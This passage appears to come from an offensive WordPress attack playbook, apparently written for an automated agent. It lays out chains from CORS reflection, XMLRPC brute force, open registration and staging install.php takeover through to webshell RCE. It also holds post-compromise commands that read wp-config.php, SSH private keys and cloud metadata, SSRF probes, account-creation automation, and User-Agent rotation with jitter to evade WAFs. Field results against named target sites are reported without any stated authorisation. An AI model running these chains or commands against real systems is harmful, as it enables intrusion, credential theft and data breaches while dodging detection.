[ "$code" = "200" ] && echo "[!!!] WP-CONFIG LEAKED: $path"
done
---
## Phase 10 — Attack Chains
### Chain A: CORS -> Phishing -> ATO
CORS credential reflection -> Malicious page hosted on attacker.com ->
Victim admin visits while logged -> JS exfiltrates session cookie + CSRF token ->
Session hijacking -> Full admin ATO
**Found on:** ecommerce-wine.com, mattress-retailer.com, realestate-platform.com, tools-retailer.com, entertainment-franchise.com (5/7 deep targets)
### Chain B: Open Registration + XMLRPC -> RCE
Open registration (anyone can create WP account) -> Create user ->
XMLRPC wp.uploadFile with credentials -> Upload PHP webshell ->
system('id') -> Full RCE
**Found on:** ecommerce-wine.com (registration + exec functions available)
### Chain C: PHPInfo -> exec() -> RCE
PHPInfo shows disable_functions only blocks pcntl_* (NOT exec/shell_exec/system) ->
Upload webshell via any upload endpoint -> RCE via shell_exec('whoami')
**Found on:** ecommerce-wine.com (exec, shell_exec, system, popen, proc_open ALL available)
### Chain D: Plugin CVE -> RCE
Slider Revolution detected (revslider.php exists) ->
CVE-2024-2534 (RCE) or CVE-2022-2944 (SQLi) ->
Exploit plugin vulnerability -> Webshell -> RCE
**Found on:** tools-retailer.com (Slider Revolution confirmed)
### Chain E: XMLRPC system.multicall -> Brute Force -> RCE
XMLRPC with 80 methods including system.multicall ->
Batch 100 passwords per request -> Bypass rate limiting ->
Find valid credentials -> wp.uploadFile -> Webshell -> RCE
**Found on:** ecommerce-wine.com, mattress-retailer.com, retail-chain.com
### Chain F: MySQL 3306 Open + Credentials → Data Breach
MySQL 3306 exposed on target -> Obtain credentials from source leaks (.env, wp-config backup, error log) ->
Connect to MySQL -> Dump user tables, posts, any custom tables -> Full database exfiltration
```bash
TARGET="$1"
echo "[*] Chain F: MySQL 3306 → brute/credential → full database dump"
MYSQL_OPEN=$(nmap -p 3306 --open -T4 "$TARGET" 2>/dev/null | grep -c "3306.*open")
if [[ "$MYSQL_OPEN" -gt 0 ]]; then
echo "[+] MySQL 3306 OPEN"
MYSQL_BANNER=$(timeout 5 nc -w 3 "$TARGET" 3306 </dev/null 2>/dev/null | head -1)
[[ -n "$MYSQL_BANNER" ]] && echo " Banner: $MYSQL_BANNER"
echo "[*] Searching for credentials from source leaks, error logs, wp-config backups..."
else
echo "[-] MySQL 3306 not open"
fi
Found on: target-health-saas.com (MySQL 8.0.46 exposed)
Chain G: Staging install.php → Site Seizure
Staging subdomain found -> /wp-admin/install.php returns HTTP 200 ->
WordPress NOT configured -> Install your own admin account via curl POST ->
Full admin control of staging site -> Potential pivot to production (shared DB/internal network)
TARGET="$1"
STAGING="$2" # e.g., staging.example.com
if [[ -z "$STAGING" ]]; then
echo "Usage: $0 TARGET staging.TARGET"
exit 0
fi
INSTALL_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "https://$STAGING/wp-admin/install.php")
INSTALL_BODY=$(curl -sk --max-time 10 "https://$STAGING/wp-admin/install.php")
if [[ "$INSTALL_CODE" == "200" ]] && echo "$INSTALL_BODY" | grep -q "WordPress"; then
echo "[+] /wp-admin/install.php HTTP 200 — WordPress NOT configured!"
echo "[+] STAGING TAKEOVER POSSIBLE"
echo "[*] Automated via curl:"
echo " curl -sk -X POST 'https://$STAGING/wp-admin/install.php?step=2' \\"
echo " -d 'weblog_title=Test&user_name=admin&admin_password=Hack123!&admin_password2=Hack123!&admin_email=test@evil.com&Submit=Install+WordPress'"
fi
# Check setup-config.php (409 = wp-config exists confirmation — site is installed)
CONFIG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$STAGING/wp-admin/setup-config.php")
[[ "$CONFIG_CODE" == "409" ]] && echo " [INFO] setup-config.php HTTP 409 — wp-config.php EXISTS"
Found on: staging.retail-chain.com (install.php 200, setup-config.php 409)
Post-Compromise Actions
After achieving RCE or ATO:
# 1. Extract wp-config.php (MySQL root creds)
curl -sk "$WEBSHELL_URL?c=cat%20../wp-config.php"
# 2. Dump user table
curl -sk "$WEBSHELL_URL?c=mysql%20-u%20DB_USER%20-pDB_PASS%20-e%20'SELECT%20*%20FROM%20wp_users'"
# 3. Check for other sites on the server
curl -sk "$WEBSHELL_URL?c=ls%20-la%20/var/www/"
# 4. Check crontab for persistence opportunities
curl -sk "$WEBSHELL_URL?c=crontab%20-l"
# 5. Check for SSH keys
curl -sk "$WEBSHELL_URL?c=cat%20~/.ssh/id_rsa"
# 6. Check for cloud metadata
curl -sk "$WEBSHELL_URL?c=curl%20-s%20http://169.254.169.254/latest/meta-data/"
Subscriber & Role Pitfalls (Critical for RCE Chains)
- Subscriber CANNOT upload via XMLRPC in modern WP (6.x).
wp.uploadFile and metaWeblog.newMediaObject both return "Sorry, you are not allowed to upload files." for subscriber role. Check wp.getProfile for roles array BEFORE trying upload.
- Application Passwords shown to Subscriber but nonce rejected. The
/wp-admin/profile.php page contains the Application Passwords section for subscriber accounts, BUT the REST API endpoint returns rest_cookie_invalid_nonce (HTTP 403). The nonce is only valid for the subscriber's own session cookie — not for REST API calls.
- Subscriber login stays on wp-login.php. After POST to
/wp-login.php with valid subscriber creds, the response is HTTP 200 with the login page again — no redirect to wp-admin. The session cookie IS set (wordpress_logged_in_* and wordpress_sec_*), but the subscriber role gets redirected back to login. Check the cookie jar, not the redirect URL. Use XMLRPC wp.getUsersBlogs as the most reliable auth check.
- Mailinator flow: WordPress sends reset LINK, not password. After registration, WordPress emails a reset link (
wp-login.php?action=rp&key=...&login=...). You must: (1) fetch the reset page via Mailinator API to extract the key, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password to wp-login.php?action=resetpass. The rp_key from the URL is required.
- Subdirectory WP cookie issues. WordPress in a subdirectory sets
wordpress_sec_* cookies restricted to that path. Use XMLRPC for authenticated actions instead of cookie-based REST API.
wp.editProfile returning true ≠ role changed. WordPress XMLRPC wp.editProfile returns <boolean>1</boolean> even when the role field is silently ignored. Always re-check via wp.getProfile.
- Subscriber escalation paths (before RCE chain can proceed):
- Brute force admin via system.multicall — 1000 passwords/request, check response for
isAdmin or blogName.
- ElementsKit CVE-2023-6853 —
admin-ajax.php may accept action=elementskit_upload_file without capability check if nonce is known.
Mailinator Password Reset Automation (Python)
import requests, re, time
# 1. Register
s = requests.Session()
s.post("https://TARGET/wp-login.php?action=register",
data={"user_login": "testuser", "user_email": "testuser@mailinator.com",
"wp-submit": "Register"})
# 2. Wait for email
time.sleep(4)
r = requests.get("https://api.mailinator.com/api/v2/domains/public/inboxes/testuser")
# 3. Extract reset link from email body
body = r.json().get("parts", [{}])[0].get("body", "")
reset_url = re.search(r"https://[^\s\"']+wp-login\.php\?action=rp[^\s\"']+", body)
# 4. Visit reset link (GET) to get session cookie + extract rp_key from form
s.get(reset_url)
# Look for <input name="rp_key" value="..."> in the response
# 5. POST new password
s.post("https://TARGET/wp-login.php?action=rp",
data={"pass1": "NewPass123!", "pass2": "NewPass123!",
"rp_key": "extracted_key", "wp-submit": "Confirm New Password"})
Pitfall: The rp_key parameter is embedded in the email URL AND in the HTML form. Some WordPress versions auto-fill it, others require extracting from r.text using regex name="rp_key"[^>]*value="([^"]+)".
Phase 11 — robots.txt Deep-Read for Hidden Attack Surface
robots.txt often exposes paths the site owner thinks they're hiding but are actually fully accessible. These frequently include stale applications, forums, CGI scripts, and old admin panels that are no longer maintained.
Do NOT just check for /wp-admin/ — read the FULL robots.txt and probe every Disallow: path:
# Read full robots.txt
curl -sk "https://$TARGET/robots.txt"
# For every Disallow path, check if it reveals additional attack surface
# Common hidden gems:
# /forum/, /board/, /wineboard/, /community/ ← Forum software (MyBB, phpBB, vBulletin)
# /cgi-bin/, /lookup/, /search/ ← CGI scripts (old, often unmaintained)
# /blog/, /shop/, /wp/, /old/, /beta/ ← Additional CMS installs
# /admin/, /manager/, /console/ ← Admin panels
# /uploads/, /files/, /download/ ← File directories (listing enabled?)
# /api/, /v1/, /v2/, /graphql ← API endpoints
# Check each disallowed path
grep "^Disallow:" robots.txt | sed 's/Disallow: //' | while read path; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
size=$(curl -sk "https://$TARGET$path" 2>/dev/null | wc -c)
echo "$path — HTTP $code, $size bytes"
sleep 1
done
What can be found:
| Path | What it reveals | Example from field recon |
|---|
/forum/, /board/, /wineboard/ | MyBB forum with user profiles, private messages, search | ecommerce-wine.com: 51KB MyBB forum at /wineboard/ |
/cgi-bin/, /lookup/, /search.cgi | Old CGI scripts (Perl, classic ASP) with injection potential | ecommerce-wine.com: /cgi-bin/encyclopedia/search.cgi |
/old/, /staging/, /beta/, /dev/ | Unmaintained CMS copies with older plugin versions | Common pattern across WP sites |
/uploads/, /download/ | Directory listing enabled → file enumeration | retail-chain.com: WC log uploads exposed |
/contact/, /style/, /ad-art/ | Forbidden directories (403) — may contain admin-only tools | ecommerce-wine.com: 3 paths return 403 |
Why this matters: Forum software (MyBB, phpBB) is frequently targeted by automated exploit tools and often runs on the same server with shared sessions/cookies as the main WordPress site. A compromised forum → session theft from WP admin who also uses the forum.
REST API Namespace Enumeration
Reveals every plugin's registered REST endpoints:
# Compare both paths — they can differ
curl -sk "https://$TARGET/wp-json/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for ns in d.get('namespaces', []):
print(f' {ns}')
except: pass
"
# Key namespaces that often appear and what they reveal:
# wc/private → WooCommerce private endpoints (patterns, etc.)
# solidwp-mail/v1 → Email logs with GET/DELETE/export-csv
# gf/v2 → Gravity Forms API
# restonic/v1 (custom) → Custom plugin API (retailers, etc.)
# login-with-azure/v1 → Azure AD SSO integration
# wc/pos/v1/catalog → WooCommerce POS catalog
# litespeed/v1,/v3 → Litespeed cache (debug endpoints)
# redirection/v1 → Redirection plugin (logs, 404 tracking)
# gravity-pdf/v1 → Gravity PDF generation
# Probe each custom namespace for its routes:
for ns in "wc/private" "solidwp-mail/v1" "restonic/v1" "gf/v2"; do
curl -sk "https://$TARGET/wp-json/$ns/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
done
# Alternative path (bypasses some WAF rules)
curl -sk "https://$TARGET/?rest_route=/" | python3 -m json.tool 2>/dev/null
# Dump all data by namespace
curl -sk "https://$TARGET/wp-json/wp/v2/pages?per_page=100" | jq '.[] | {id, slug, title: .title.rendered, date, modified}'
curl -sk "https://$TARGET/wp-json/wp/v2/media?per_page=100" | jq '.[] | {id, title: .title.rendered, url: .source_url}'
curl -sk "https://$TARGET/wp-json/wp/v2/comments?per_page=100" | jq '.[] | {id, author_name, content: .content.rendered, post}'
Validation Severity
| Finding | Severity |
|---|
| CORS credential reflection + sensitive data readable | High/Critical |
| XMLRPC with system.multicall + wp.uploadFile | Critical |
| Open registration (can create admin-level account) | High |
| PHPInfo with exec functions available | Critical |
| wp-config.php exposed | Critical |
| Application Passwords endpoint accessible | Medium |
| Debug log with SQL queries / tokens | High |
| Plugin CVE exploitable | Medium-Critical |
| User enumeration (names only, no emails) | Low |
| Yoast sitemap email disclosure | Medium |
| WooCommerce API exposed without auth | Critical |
Phase 12 — Deep Followup (Wave 2): Chaining Incomplete Findings
When initial recon (Phases 1-11) produces findings but stops short of exploitation, run a Deep Followup pass. This is the "Wave 2" pattern — chaining from what was confirmed but not fully exploited.
12.1 Read All Prior Findings First
Before sending a single new request, read every prior finding file for the target. Identify:
- What was confirmed but not exploited — CORS headers checked on only 1-2 endpoints? XMLRPC methods listed but not individually tested? PHPInfo confirmed but no webshell probe?
- What endpoints were missed — The sensitive path checklist below?
- What subdomains/staging environments exist — These are often less guarded than production.
12.2 Chain from Each Initial Finding
| Initial Finding | Deep Followup Action |
|---|
| CORS credential reflection (any endpoint) | Scan ALL REST endpoints (users, posts, pages, media, comments, settings, WC, GF, site-health, custom namespaces). Also check staging environments — they often have CORS too. |
| XMLRPC HTTP 200 | Enumerate ALL 80+ methods via POST. Test each dangerous method individually for faultCode. Check pingback.ping SSRF to cloud metadata + localhost. Test system.multicall for empty-array response (indicates no auth needed). |
| XMLRPC HTTP 405 | Still test via POST! 405 on GET doesn't mean POST is blocked — mattress-retailer.com and staging.retail-chain.com returned 405 on GET but POST with Content-Type: text/xml and valid method XML worked for all 80+ dangerous methods. The 405 is from the web server (LiteSpeed/nginx) blocking GET to .php files, not from WordPress rejecting XMLRPC. |
| PHPInfo exposed | Probe for webshells (shell.php, cmd.php, c99.php, etc.) and backup files (backup.zip, dump.sql, wp-config.*.old) in the same directory and adjacent paths. Check directory listing on uploads. |
| ElementsKit detected | Test admin-ajax.php with action=elementskit_upload_file — if HTTP 400/200 instead of 404, the action registration function is accessible (CVE-2023-6853 vector). Check ElementsKit REST namespace paths. |
| Slider Revolution detected | Try reading readme.txt for version. Test revslider_ajax_action in admin-ajax.php. Check for public assets revealing version (rs6.min.js). |
| Yoast sitemap | Check /author-sitemap.xml for email disclosure (slugs like adminleasemymarketing-com decode to admin@leasemarketing.com). |
Debug log exposed (/wp-content/debug.log) | Grep for SQL queries, JWT tokens, API keys, emails, internal IPs. |
Error log exposed (/error_log, /magical/error_log, etc.) | Download the file (it may be very large — 1.7MB found on ecommerce-wine.com). Extract: server paths (reveals docroot, hosting provider), SQL queries (may contain credentials), PHP error types (Parse/Warning/Fatal reveal code quality), timestamps spanning years (legacy code still running), and email addresses. Even single PHP parse errors reveal the exact theme/plugin file paths. |
12.3 Comprehensive Sensitive Path Checklist
Probe ALL of these paths on every target (do NOT stop after the first hit):
PATHS=(
"/.env" "/.git/config" "/.git/HEAD"
"/wp-config.php.bak" "/wp-config.php~" "/wp-config.php.old" "/wp-config.txt"
"/storage/logs/laravel.log" "/backup.sql" "/dump.sql"
"/phpinfo.php" "/info.php" "/test.php" "/debug.php" "/p.php"
"/sitemap.xml" "/robots.txt"
"/wp-content/debug.log" "/wp-content/uploads/"
"/wp-json/"
"/wp-json/wp/v2/users"
"/wp-json/elementskit/v1/"
"/wp-json/rankmath/v1/"
"/wp-json/wp/v2/pages"
"/wp-json/wp/v2/posts"
"/wp-json/wp-site-health/v1"
"/readme.html" "/wp-cron.php" "/wp-login.php"
"/wp-admin/admin-ajax.php"
"/author-sitemap.xml"
"/wp-admin/authorize-application.php"
)
for path in "${PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}:%{size_download}" \
-H "User-Agent: $UA" -H "Origin: https://evil.com" \
"https://$TARGET$path" 2>/dev/null)
echo "$path — HTTP $code"
sleep 2
done
12.4 XMLRPC Individual Method Testing
Do NOT just list methods — test each dangerous one individually with a POST:
for method in system.multicall wp.uploadFile metaWeblog.newMediaObject \
pingback.ping wp.getUsers wp.getPosts wp.getOptions wp.setOptions \
wp.newPost wp.editPost wp.deletePost wp.getUsersBlogs wp.newComment; do
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>${method}</methodName></methodCall>"
sleep 2
done
Interpretation of fault codes:
- faultCode 0 = method accepted without auth (DANGEROUS — SSRF confirmed)
- faultCode 403 = method exists but needs auth
- faultCode 405 = method not available
- Empty array / no fault = method works without auth (e.g., system.multicall returning
<data></data>)
12.5 Staging Environment Deep Probe
When a staging subdomain is discovered (e.g., staging.retail-chain.com), it is frequently LESS HARDENED than production:
- Users endpoint often exposed (retail-chain.com staging had 4 users vs production's rest_no_route)
- CORS credential reflection may be present on staging even if production is patched
- Default WordPress posts ("Hello world!") indicate inactive/incomplete setup
- wp-login.php frequently accessible without rate limiting
- Plugin versions may be older (less frequent patching)
- Debug mode may be enabled (WP_DEBUG, WP_DEBUG_LOG)
# Full staging sweep
for path in "/" "/.env" "/wp-json/" "/wp-json/wp/v2/users" \
"/xmlrpc.php" "/wp-login.php" "/robots.txt" "/info.php" \
"/phpinfo.php" "/wp-content/debug.log" "/readme.html" \
"/author-sitemap.xml"; do
curl -sk -o /dev/null -w "%{http_code}:%{size_download}" \
"https://staging.$TARGET$path"
sleep 2
done
12.5.1 Staging XMLRPC — Always Test Via POST Even When GET Returns 405
Staging environments frequently block GET requests to xmlrpc.php (returning 405) but fully accept POST with XML content type, yielding all 80+ methods. Example: staging.retail-chain.com — GET → 405, POST with Content-Type: text/xml → 80 methods with system.multicall, pingback.ping, wp.uploadFile.
# Test staging XMLRPC — MUST use POST with XML Content-Type
curl -sk -X POST "https://staging.$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' | \
python3 -c "
import sys, re
m = re.findall(r'<string>([^<]+)</string>', sys.stdin.read())
dangerous = ['system.multicall','wp.uploadFile','pingback.ping','wp.getUsers']
found = [x for x in m if any(d in x for d in dangerous)]
print(f'{len(m)} methods, DANGEROUS: {found}')
"
12.5.2 Staging Pingback SSRF — Test Cloud Metadata (Not Just Localhost)
On staging environments, pingback SSRF often has faultCode 0 (accepted) on cloud metadata endpoints. Test the full set:
for ssrf_target in "http://169.254.169.254/" "http://169.254.169.254/latest/meta-data/" \
"http://metadata.google.internal/" "http://127.0.0.1/" "http://localhost/"; do
curl -sk -X POST "https://staging.$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params>
<param><value><string>'"$ssrf_target"'</string></value></param>
<param><value><string>https://staging.$TARGET/test</string></value></param>
</params></methodCall>' 2>/dev/null | python3 -c "
import sys, re
d = sys.stdin.read()
fc = re.search(r'faultCode[^0-9]*([0-9]+)', d)
print('faultCode ' + fc.group(1) if fc else 'no fault')
"
sleep 3
done
faultCode 0 means SSRF accepted — the server attempted to fetch the URL. staging.retail-chain.com returned faultCode 0 for http://169.254.169.254/, enabling potential AWS IAM credential extraction.
12.7 Port Scan Followup — MySQL and Non-standard Services
When initial port scans find open services beyond 80/443, follow up aggressively — especially MySQL (3306) and custom API ports:
# Probe each open port for HTTP and known service banners
for port in 3000 5000 8000 8080 8081 8082 8083 8084 8085 8443 8888 \
9000 9090 9200 5432 6379 27017 3306; do
timeout 3 bash -c "echo > /dev/tcp/$TARGET/$port" 2>/dev/null && echo "Port $port OPEN"
done
# MySQL-specific followup (port 3306 open)
# Grab banner with hex decode — reveals version and OS
echo "" | timeout 5 nc "$TARGET" 3306 2>/dev/null | xxd | head -20
# Decoded banner pattern: "8.0.46-0ubuntu0.22.04.3" reveals exact version + OS
# Auth plugin: "caching_sha2_password" or "mysql_native_password"
# HTTP probe on non-standard ports
for path in "/" "/api" "/login" "/admin" "/health" "/swagger.json" "/graphql"; do
for port in 8080 8081 8082 8083 8084 8085 8443 8888 9000 9090; do
curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET:$port$path" 2>/dev/null
curl -sk -o /dev/null -w "%{http_code}" "http://$TARGET:$port$path" 2>/dev/null
done
done
Field evidence: target-health-saas.com had MySQL 8.0.46-0ubuntu0.22.04.3 exposed on port 3306 with caching_sha2_password auth. Additionally, port 8084 had an HTTP service with OPTIONS→200 and POST→403 (Forbidden). Port 8082 was discovered via JS bundle (hardcoded https://target-health-saas.com:8081 pattern in main.js).
12.9 SPA .git/HEAD False Positive — Always Verify Content
SPA frameworks (React, Vue, Next.js) use catch-all routing — every non-existent path returns the SPA's index.html. This creates false positive .git/HEAD hits:
# .git/HEAD HTTP 200 does NOT mean git is exposed!
# Verify the content — real git HEAD starts with "ref:"
GIT_HEAD=$(curl -sk "https://$TARGET/.git/HEAD" 2>/dev/null | head -c 40)
if echo "$GIT_HEAD" | grep -q "^ref:"; then
echo "[!!!] GENUINE GIT EXPOSURE: $GIT_HEAD"
else
echo "[FALSE POSITIVE] Returns SPA HTML, not git data"
fi
Field evidence: ecommerce-wine.com returned .git/HEAD at HTTP 200 with 69KB of SPA HTML content (WordPress page header, not git data). This was a false positive caused by the SPA's catch-all routing.
Staging WordPress often exposes /wp-json/wp/v2/users completely (no auth required):
curl -sk "https://staging.$TARGET/wp-json/wp/v2/users" -o /tmp/staging_users.json
python3 -c "
import json
users = json.load(open('/tmp/staging_users.json'))
for u in users:
name = u.get('name','?')
slug = u.get('slug','?')
email = u.get('email','N/A')
print(f'{name} ({slug}) | {email}')
"
### 12.6 JS Bundle Deep Analysis
Download JS bundles from the homepage and grep for secrets and API endpoints:
```bash
# Download homepage
curl -sk "https://$TARGET/" -o /tmp/homepage.html
# Extract all JS URLs
grep -oP 'src="[^"]*\.js[^"]*"' /tmp/homepage.html | sed 's/src="//;s/"//'
# Download and grep each JS file for secrets and endpoints
for js_url in $(grep -oP 'src="[^"]*\.js[^"]*"' /tmp/homepage.html | sed 's/src="//;s/"//'); do
full_url=$(echo "$js_url" | grep -q "^http" && echo "$js_url" || echo "https://$TARGET$js_url")
curl -sk "$full_url" | grep -oE '(apiKey|api_key|secret|token|JWT|password|firebase|supabase|aws_access_key|GCP|admin_url|ajax_url|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.(1[6-9]|2[0-9]|3[01])\.[0-9]{1,3}\.[0-9]{1,3}|192\.168\.[0-9]{1,3}\.[0-9]{1,3}|https?://[a-zA-Z0-9.-]+:[0-9]+)'
done
Key insight from field recon: JS bundles on React SPAs often contain hardcoded API backend URLs (e.g., https://target-health-saas.com:8081 discovered in main.js bundle — led to a newly discovered API service on port 8081).
12.7 Port Scan Followup
When initial port scans find services, don't stop at the first pass. Follow up on every non-standard port:
# Expand port scan on targets with open non-standard ports
for port in 3000 5000 8000 8080 8081 8082 8083 8084 8085 8443 8888 9000 9090 9200 5432 6379 27017; do
timeout 3 bash -c "echo > /dev/tcp/$TARGET/$port" 2>/dev/null && echo "Port $port OPEN"
done
# Probe each open port for HTTP
for port in $(open_ports); do
for path in "/" "/info.php" "/api/" "/login" "/admin" "/health"; do
curl -sk -o /dev/null -w "%{http_code}:%{size_download}" "https://$TARGET:$port$path"
sleep 1
done
done
12.8 Multi-Target Execution Patterns
12.8.1 Bash Parallel Dispatch (Recommended for <10 targets)
For operations spanning multiple targets (e.g., a Wave 2 across 7 sites), use this pattern:
- Create one probe script per target with the base check + per-target specializations
- Write reports directly to files (not stdout) to avoid losing output on timeout
- Run targets in parallel as background processes, each with
notify_on_complete
- After all complete, read and write final formatted reports
- OPSEC discipline: 2-3s jitter between requests, rotate User-Agents, back off on 429/503/403
# Multi-target dispatch pattern
for target in ecommerce-wine.com mattress-retailer.com tools-retailer.com realestate-platform.com; do
(
# Per-target probe logic here...
sleep $((RANDOM % 5)) # stagger start times
) &
done
wait
12.8.2 Python Single-Script Approach (Recommended for 5+ targets with heavy probing)
For deep multi-wave probes (50+ requests per target), a single Python script with integrated OPSEC is more maintainable and robust than per-target shell scripts. Key advantages:
- Rate limiting is centralized — one
rate_limit() function with 2-3s jitter, global counter
- UA rotation is built-in — cycle through 4-6 modern browser UAs
- Error handling — ConnectionError, Timeout, 429/503 backoff all handled in one place
- JSON parsing — built-in
json.loads() for REST API responses
- Secrets scanning — Python regex is cleaner than shell grep for multi-pattern extraction
- File output — clean append mode per section
# Core OPSEC pattern for Python multi-target probes:
import requests, random, time, json, re, os
requests.packages.urllib3.disable_warnings()
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:109.0) Gecko/20100101 Firefox/119.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0 Safari/537.36",
]
ua_cycle = 0
def get_ua():
global ua_cycle
ua = USER_AGENTS[ua_cycle % len(USER_AGENTS)]
ua_cycle += 1
return ua
request_count = 0
def rate_limit():
global request_count
time.sleep(2.0 + random.random() * 1.0) # 2-3s jitter
request_count += 1
if request_count % 50 == 0:
print(f" [rate] {request_count} requests", flush=True)
def req(url, method="GET", data=None, headers=None, timeout=15):
rate_limit()
hdrs = {"User-Agent": get_ua(), "Accept": "*/*"}
if headers:
hdrs.update(headers)
try:
r = requests.request(method, url, headers=hdrs, data=data,
timeout=timeout, verify=False)
if r.status_code in (429, 503):
print(f" [429/503] Backing off 30s for {url}")
time.sleep(30)
return r
except (requests.exceptions.ConnectionError, requests.exceptions.Timeout):
return type('R', (), {'status_code': 0, 'text': '', 'headers': {}})()
def write_finding(target_dir, target, section, content):
os.makedirs(target_dir, exist_ok=True)
with open(f"{target_dir}/{target}_wave5.md", "a") as f:
f.write(f"\n## {section}\n{content}\n")
# Secrets scanning in JS bundles
def scan_js_for_secrets(text):
findings = []
patterns = [
(r'(?i)(?:api[_-]?key|apikey|api_key)\s*[=:]\s*["\']([^"\']{8,})["\']', "API Key"),
(r'https?://[a-zA-Z0-9.-]+:[0-9]{2,5}', "Internal URL with port"),
(r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}', "JWT Token"),
(r'AKIA[0-9A-Z]{16}', "AWS Access Key"),
(r'(?i)(?:firebase|supabase)_[a-z]+\s*[=:]\s*["\']([^"\']+)', "Firebase/Supabase"),
]
for pat, desc in patterns:
for m in re.findall(pat, text):
findings.append(f" [{desc}] {str(m)[:80]}")
return findings
Field-tested in Wave 5 (99 requests across 5 targets) with zero WAF blocks.
12.8.3 ⚠ CRITICAL PITFALL: DNS Timeout in Python Multi-Target Probes
requests.get(url, timeout=N) does NOT cover DNS resolution time. The timeout parameter only covers connect + read phases. When probing subdomains (staging.foo.com, dev.bar.com) that don't resolve, DNS can hang for 30-60s without the timeout kicking in — stalling your entire probe script.
Failing pattern (hangs on unresolvable subdomains):
requests.get("https://staging.retail-chain.com", timeout=8) # ❌ time out 8s applies to connect/read only; DNS can hang 30-60s
Two fixes:
Fix A — socket.setdefaulttimeout() (simplest, caps ALL socket ops):
import socket
socket.setdefaulttimeout(10) # caps DNS resolution too
requests.get("https://staging.retail-chain.com") # ✅ total time ≤ 10s
Fix B — curl subprocess (most robust for subdomain probes):
import subprocess
# curl's --max-time DOES cover DNS
result = subprocess.run(
["curl", "-sk", "--max-time", "8", "-o", "/tmp/out",
"-w", "%{http_code}", "https://staging.retail-chain.com/"],
capture_output=True, timeout=10
)
code = result.stdout.decode().strip()
Recommendation: Use Fix A in your module init for all requests, and Fix B specifically for subdomain probes where DNS failures are expected. See scripts/wp-multi-deep-probe.py for the production implementation.
12.9 OPSEC Discipline for Deep Followup
- Rate limit: 1 request every 2-3 seconds (with jitter, not fixed interval)
- User-Agent rotation: 4-5 modern browser UAs, randomly selected per request
- Back off on 429/503: Add exponential backoff (5s, 10s, 20s, then stop)
- Stop on 403: If a sensitive path returns 403 (not 404), the WAF is active — move to a different path class
- Avoid concurrency on same domain: Even with multiple targets, don't hit the same domain from multiple processes
- crt.sh rate limit: Wait 10+ seconds between crt.sh queries (the service rate-limits aggressively)
12.10 Environment Pitfall: BusyBox / Alpine grep
On minimal container environments (Alpine Linux), grep -P (Perl-compatible regex) is NOT available. Use Python3 for complex regex instead:
# INSTEAD OF: grep -oP 'pattern' file
# USE:
python3 -c "
import sys, re
for line in sys.stdin:
m = re.search(r'pattern', line)
if m: print(m.group())
" < file
hunt-cors — Batch-probes multiple WP REST API endpoints for CORS credential reflection at scale. Chain primitive: manual CORS discovery → hunt-cors bulk-scan all sibling WP REST endpoints → full endpoint matrix.
wordpress-cors-xmlrpc-rce-chain — Dedicated technique skill documenting the full CORS → XMLRPC → RCE attack chain. Chain primitive: the complete multi-step chain from CORS discovery through webshell RCE is documented as a standalone workflow.
Lateralization — When Brute Force Hits a Wall
Critical workflow correction: If system.multicall returns faultCode 403 for all passwords in your wordlist (or you have no wordlist at all), do NOT keep enlarging the wordlist indefinitely. The brute force confirmed the endpoint works (487 pwds/request demonstrated on field targets), but the password simply isn't in your wordlist. Shift to lateral enumeration immediately — it often finds MORE impact than the brute force ever would.
Why Lateral Thinking Wins
A frontal assault (brute force, port scan, directory fuzzing) finds the obvious. Lateral moves find the forgotten. In field testing on mattress-retailer.com:
- Brute force: 3 users x 487 passwords = 1,461 attempts — zero credentials
- Lateral enumeration: 23 REST namespaces, 62 Yoast routes, 87 WC Analytics routes, 43,981 sitemap URLs, functional Cart Token API, wp-abilities/run endpoint, 25 subdomains, 14 functional retailer locations
Lateral thinking found what brute force never would.
Lateral Enumeration Protocol
When brute force stalls, execute this sequence BEFORE going back to a larger wordlist:
Step 1 — Count ALL namespaces, not just the obvious ones:
curl -sk "https://TARGET/wp-json/" | python3 -c "
import sys, json
d = json.load(sys.stdin)
namespaces = d.get('namespaces', [])
print(f'Total namespaces: {len(namespaces)}')
for ns in namespaces:
print(f' {ns}')
"
Do not stop after 2-3 namespaces. 23+ is common on WooCommerce+Yoast+Gravity+Jetpack installs. Each extra namespace is potential attack surface.
Step 2 — Enumerate EVERY route in every namespace:
for ns in $(curl -sk "https://TARGET/wp-json/" | python3 -c "
import sys, json
[print(ns) for ns in json.load(sys.stdin).get('namespaces', [])]
"); do
echo "=== $ns ==="
curl -sk "https://TARGET/wp-json/$ns" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route, info in d.get('routes', {}).items():
methods = info.get('methods', [])
print(f' {route}: {methods}')
except: print(' (no route info)')
"
done
Key route patterns to flag:
/abilities/{name}/run → Code execution endpoint (wp-abilities plugin)
/installer → Plugin/package installer (WCCOM Site, Hostinger)
